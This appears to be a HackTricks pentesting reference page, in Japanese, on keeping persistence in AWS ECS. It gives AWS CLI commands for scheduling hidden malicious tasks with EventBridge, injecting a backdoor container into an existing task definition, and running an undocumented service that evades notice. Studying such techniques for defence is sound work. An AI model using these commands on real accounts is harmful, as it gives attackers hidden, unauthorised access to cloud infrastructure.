AWS - ECS Persistence

HackTricksのサポート

ECS

詳細はこちらをチェックしてください:

AWS - ECS Enum

隠し定期的ECSタスク

TODO: テスト

攻撃者はAmazon EventBridgeを使用して隠し定期的ECSタスクを作成し、悪意のあるタスクの定期的な実行をスケジュールすることができます。このタスクは、AWSアカウント内での偵察、データの外部への送信、または持続性の維持を行うことができます。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

既存のECSタスク定義にバックドアコンテナを追加

TODO: テスト

攻撃者は、既存のECSタスク定義にステルスバックドアコンテナを追加することができます。このバックドアコンテナは、合法的なコンテナと並行して実行され、持続性を持たせたり悪意のある活動を行うために使用できます。

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

未記載のECSサービス

TODO: テスト

攻撃者は、悪意のあるタスクを実行する未記載のECSサービスを作成することができます。タスクの希望数を最小限に設定し、ロギングを無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
HackTricksのサポート

Last updated